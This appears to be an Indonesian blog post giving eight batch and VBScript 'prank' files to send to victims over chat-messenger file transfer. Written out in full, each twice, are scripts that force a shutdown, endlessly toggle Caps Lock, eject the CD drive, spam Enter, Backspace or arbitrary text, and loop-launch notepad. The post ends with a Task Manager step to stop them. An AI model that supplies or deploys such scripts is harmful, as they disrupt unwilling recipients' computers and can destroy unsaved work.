send file bisa via yahoo Messenger, MSN, GoogleTalk, Skype dan semua fasilitas chat messenger yang mendukung send file
syntax ini dibuat dalam notepad:
@echo off
msg * I don't like you
shutdown -c "Error !! Pareuman Buru Kehed !!" -s
Simpan dengan nama file : kampret_1.BAT ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan,
maka komputernya otomatis FORCED SHUTDOWN
@echo off
msg * I don't like you
shutdown -c "Error !! Pareuman Buru Kehed !!" -s
Simpan dengan nama file : kampret_1.BAT ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan,
maka komputernya otomatis FORCED SHUTDOWN
syntax ini dibuat dalam notepad :
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Simpan dengan nama file : kampret_2.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol CAPSLOCK kibornya akan terus menyala
(jika dimatikan maka tombolnya otomatis nyala lagi)
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Simpan dengan nama file : kampret_2.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol CAPSLOCK kibornya akan terus menyala
(jika dimatikan maka tombolnya otomatis nyala lagi)
syntax ini dibuat dalam notepad :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan nama file : kampret_3.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka CD Drive korban akan pop out terus menerus ,,,
(jka dimatikan maka tombolnya otomatis nyala lagi)
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpan dengan nama file : kampret_3.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka CD Drive korban akan pop out terus menerus ,,,
(jka dimatikan maka tombolnya otomatis nyala lagi)
syntax ini dibuat dalam notepad :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Simpan dengan nama file : kampret_4.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol ENTER korban akan nyala terus menerus
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Simpan dengan nama file : kampret_4.VBS ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka tombol ENTER korban akan nyala terus menerus
syntax ini dibuat dalam notepad :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Simpan dengan nama file : kampret_5.VBS ,, type file : All File dan kirimkan
efeknya adalah otomatis membuka notepad korban dan akan muncul tulisan "Hello, how are you? I am good thanks" secara SLOW MOTION
kalimat "Hello, how are you? I am good thanks" ,, bisa agan rubah sesuai selera, tinggal ubah saja frase kata dalam tanda kutip di syntax diatas
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
Simpan dengan nama file : kampret_5.VBS ,, type file : All File dan kirimkan
efeknya adalah otomatis membuka notepad korban dan akan muncul tulisan "Hello, how are you? I am good thanks" secara SLOW MOTION
kalimat "Hello, how are you? I am good thanks" ,, bisa agan rubah sesuai selera, tinggal ubah saja frase kata dalam tanda kutip di syntax diatas
syntax ini dibuat dalam notepad :
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Simpan dengan nama file : kampret_6.VBS ,, type file : All File dan kirimkan
efeknya adalah mirip dengan cara ke 4, syntax yang ini akan menekan tombol BACKSPACE korban terus menerus
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Simpan dengan nama file : kampret_6.VBS ,, type file : All File dan kirimkan
efeknya adalah mirip dengan cara ke 4, syntax yang ini akan menekan tombol BACKSPACE korban terus menerus
syntax ini dibuat dalam notepad :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
loop
Simpan dengan nama file : kampret_7.VBS ,, type file : All File dan kirimkan
efeknya adalah, kibord korban akan otomatis menuliskan kalimat "Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
secara terus menerus, dalam format pengetikan apapun
"Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!." <<< bisa diganti sesuai selera
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
loop
Simpan dengan nama file : kampret_7.VBS ,, type file : All File dan kirimkan
efeknya adalah, kibord korban akan otomatis menuliskan kalimat "Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!."
secara terus menerus, dalam format pengetikan apapun
"Aku Berlindung Kepada Allah SWT Dari Godaan Nurdin Halid Yang Terkutuk !!." <<< bisa diganti sesuai selera
@ECHO off
:top
START %SystemRoot%\system32
notepad.exe
GOTO top
Simpan dengan nama file : kampret_8.BAT ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka komputer korban akan menghidupkan perintah notepad.exe terus menerus
:top
START %SystemRoot%\system32
notepad.exe
GOTO top
Simpan dengan nama file : kampret_8.BAT ,, type file : All File dan kirimkan
efeknya adalah saat korban menerima file kiriman agan, maka komputer korban akan menghidupkan perintah notepad.exe terus menerus
- CARA STOP ATAU DISABLE SCRIPT -
Start Menu - Run - ketikkan taskmgr - Enter atau tekan tombol CTRL + ALT + DEL dengan posisi kursor mouse agan di desktop komputer agan.
Setelah masuk menu Task Manager, klik Tab Processes, cari file yg di list aktif bernama wscript.exe, sorot file tsb dan klik Tombol End Process
No comments:
Post a Comment